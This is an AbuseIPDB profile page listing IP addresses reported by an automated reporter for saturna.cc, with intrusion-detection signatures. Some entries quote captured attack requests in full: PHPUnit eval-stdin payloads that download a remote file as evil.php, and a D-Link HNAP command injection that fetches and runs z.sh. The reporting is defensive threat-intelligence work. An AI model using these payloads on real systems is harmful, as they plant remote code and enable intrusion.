AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Auto Reporter , the webmaster of saturna.cc, joined AbuseIPDB in November 2021 and has reported 193 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 143.198.171.67	27 Dec 2021	PHPUnit PHP remote code execution attempt { GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ... show more PHPUnit PHP remote code execution attempt { GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; 2960 ;Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Content-Length: 261 <?php file_put_contents('evil.php',file_get_contents('http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt')); system('wget http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil.php;curl http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil.php'); ?> } show less	Web App Attack
🇬🇧 178.62.72.53	27 Dec 2021	PHPUnit PHP remote code execution attempt { GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ... show more PHPUnit PHP remote code execution attempt { GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; 2908 ;Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Content-Length: 261 <?php file_put_contents('evil.php',file_get_contents('http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt')); system('wget http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil[.]php;curl http://p[.]724rc[.]com/seoforce/triggers/files/evil.txt -O evil.php'); ?> show less	Web App Attack
🇺🇸 164.92.214.43	27 Dec 2021	D-Link multiple products HNAP SOAP Action header command injection attempt { POST /HNAP1/ HTTP/1 ... show more D-Link multiple products HNAP SOAP Action header command injection attempt { POST /HNAP1/ HTTP/1.1 User-Agent: Mozila/5.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive SOAPAction: "http://purenetworks[.]com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://185[.]204[.]217[.]174/z.sh;chmod 777 z.sh;sh z.sh dlink;rm -rf z.sh`" Content-Length: 0 } show less	Hacking
🇹🇭 1.10.143.233	27 Dec 2021	Joomla JDatabaseDriverMysqli unserialize code execution attempt [Classification: Attempted User Priv ... show more Joomla JDatabaseDriverMysqli unserialize code execution attempt [Classification: Attempted User Privilege Gain] show less	Web App Attack
🇮🇳 180.188.251.116	26 Dec 2021	Netgear DGN1000 series routers authentication bypass attempt timestamp: 2021-12-26T05:01:48.177Z	Hacking
🇮🇳 117.196.26.45	26 Dec 2021	MVPower DVR Shell arbitrary command execution attempt timestamp: 2021-12-26T03:39:53.642Z	Hacking
🇧🇩 103.148.75.7	26 Dec 2021	Drupal unsafe internal attribute remote code execution attempt timestamp: 2021-12-26T02:22:16.253Z	Web App Attack
🇺🇸 169.45.124.186	23 Dec 2021	Apache Log4j logging remote code execution attempt timestamp: 2021-12-23 12:49:10.034 -08:00	Hacking
🇳🇱 2.56.57.56	23 Dec 2021	D-Link multiple products HNAP SOAPAction header command injection attempt timestamps: 2021-12-23 ... show more D-Link multiple products HNAP SOAPAction header command injection attempt timestamps: 2021-12-23 08:58:16.297 -08:00 2021-12-23 07:43:55.228 -08:00 show less	Web App Attack
🇿🇦 105.242.150.10	23 Dec 2021	GPON Router authentication bypass and command injection attempt timestamp: 2021-12-23T14:04:42.116Z	Web App Attack
🇩🇪 62.171.179.103	22 Dec 2021	Apache Log4j logging remote code execution attempt Timestamp: 2021-12-22 09:58:32.277 -08:00	Hacking
🇺🇸 34.121.5.117	21 Dec 2021	Apache Log4j logging remote code execution attempt timestamp: 2021-12-20 20:03:03.000 -08:00	Hacking
🇨🇴 45.176.232.126	21 Dec 2021	Apache Log4j logging remote code execution attempt timestamp: 2021-12-20 22:30:07.000 -08:00	Web App Attack
🇺🇸 104.131.8.196	21 Dec 2021	Apache Log4j logging remote code execution attempt timestamp: 2021-12-21 06:21:57.000 -08:00	Web App Attack
🇨🇳 112.239.65.235	20 Dec 2021	EXPLOIT attempt for RCE - Netgear DGN Remote Command Execution TImestamp: 2021-12-18 15:25:16.000 - ... show more EXPLOIT attempt for RCE - Netgear DGN Remote Command Execution TImestamp: 2021-12-18 15:25:16.000 -08:00 show less	Hacking
🇩🇪 194.233.164.99	15 Dec 2021	Apache Log4j logging remote code execution attempt Timestamp: 2021-12-15 07:10:08.000 -08:00	Web App Attack
🇨🇭 176.10.99.200	13 Dec 2021	Apache Log4j logging remote code execution attempt Timestamp: 2021-12-13 04:38:20.000 -08:00	Web App Attack